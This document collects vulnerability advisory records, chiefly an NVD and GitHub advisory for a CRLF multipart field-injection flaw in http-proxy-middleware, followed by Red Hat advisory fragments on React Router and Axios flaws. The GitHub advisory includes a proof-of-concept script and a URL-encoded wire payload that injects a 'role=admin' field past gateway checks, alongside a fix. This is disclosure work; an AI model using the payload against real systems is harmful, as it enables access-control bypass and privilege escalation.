{
  "affected": [
    {
      "affectedData": [
        {
          "product": "http-proxy-middleware",
          "vendor": "chimurai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.4, \u003c 3.0.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.1.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8281B19B-A543-4996-B6E0-3A43AD44585B",
              "versionEndExcluding": "3.0.7",
              "versionStartIncluding": "3.0.4",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "D9D194C5-E95E-410C-BFB4-A36DCC12F656",
              "versionEndExcluding": "4.1.1",
              "versionStartIncluding": "4.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library\u0027s documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy\u0027s own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1."
    }
  ],
  "id": "CVE-2026-55603",
  "lastModified": "2026-06-24T16:44:28.870",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
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        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55603",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-23T12:20:45.426994Z",
          "version": "2.0.3"
        }
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    ]
  },
  "published": "2026-06-22T21:16:26.033",
  "references": [
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      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
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  "vulnStatus": "Analyzed",
  "weaknesses": [
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        {
          "lang": "en",
          "value": "CWE-93"
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.4"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:06:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`fixRequestBody()` is the library\u0027s documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy\u0027s own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in \u2192 multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy\u0027s multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from \u0027http-proxy-middleware\u0027;\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field\u0027s value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: \u0027alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--\u0027\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { \u0027content-type\u0027: \u0027multipart/form-data; boundary=BB\u0027 },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body\u0027s keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend\u0027s multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, \u0027$1\u0027);\n  const bad = /[\\r\\n]/;\n  let str = \u0027\u0027;\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error(\u0027fixRequestBody: CR/LF not allowed in multipart field name/value\u0027);\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, \u0027%22\u0027)}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
  "id": "GHSA-gcq2-9pq2-cxqm",
  "modified": "2026-06-18T13:06:21Z",
  "published": "2026-06-18T13:06:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chimurai/http-proxy-middleware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`"
}

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          "title": "Vulnerability summary"
        },
        {
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          "text": "An Important remote code execution flaw exists in React Router versions 7.0.0 through 7.14.1 when utilized in Framework Mode. This vulnerability requires an existing prototype pollution flaw within the application to enable a two-step attack, leading to unauthorized remote code execution on the server. Red Hat products employing React Router in Declarative Mode or Data Mode are not impacted.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
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      "product_status": {
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          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42211",
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        },
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          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42211",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42211"
        },
        {
          "category": "external",
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          "date": "2026-07-20T16:06:49+00:00",
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          "url": "https://access.redhat.com/errata/RHSA-2026:42085"
        },
        {
          "category": "workaround",
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        "id": "CWE-770",
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          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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          "text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
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          "title": "Vulnerability summary"
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          "text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
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          "title": "Vulnerability description"
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          "title": "Statement"
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      "title": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution"
    },
    {
      "cve": "CVE-2026-44496",
      "cwe": {
        "id": "CWE-1333",
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          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
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          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
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          "category": "external",
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          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
        }
      ],
      "release_date": "2026-06-11T15:34:28.492000+00:00",
      "remediations": [
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          "category": "vendor_fix",
          "date": "2026-07-20T16:06:49+00:00",
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          "restart_required": {
            "category": "none"
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          "url": "https://access.redhat.com/errata/RHSA-2026:42085"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
          "product_ids": [
            "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rhtas-console-rhel9@sha256:7a33c13a4fe493b4638f342a14d7dab93152141895771e543f3e028773bfa10f_amd64",
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      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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          "products": [
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      "threats": [
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          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
    },
    {
      "cve": "CVE-2026-55603",
      "cwe": {
        "id": "CWE-93",
        "name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
      },
      "discovery_date": "2026-06-22T21:01:20.731034+00:00",
      "flags": [
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          "label": "vulnerable_code_not_present",
          "product_ids": [
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      "ids": [
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          "system_name": "Red Hat Bugzilla ID",
          "text": "2491525"
        }
      ],
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        {
          "category": "description",
          "text": "A flaw was found in http-proxy-middleware. A remote attacker could exploit a vulnerability in the fixRequestBody() function, which is used to re-emit a request body. By injecting carriage return and line feed characters (\\r\\n) into a request body key or value, an attacker can bypass security policies and validation performed by the proxy. This desynchronization between the proxy and the backend server can lead to a compromise of data integrity.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "http-proxy-middleware: http-proxy-middleware: Data integrity compromise via CR/LF injection",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Red Hat rates this issue as having Moderate impact for Red Hat OpenShift AI MLflow images that bundle http-proxy-middleware. Other Red Hat AI products are not affected or do not expose the vulnerable code path in normal operation.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
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          "category": "external",
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      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
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      ],
      "title": "http-proxy-middleware: http-proxy-middleware: Data integrity compromise via CR/LF injection"
    }
  ]
}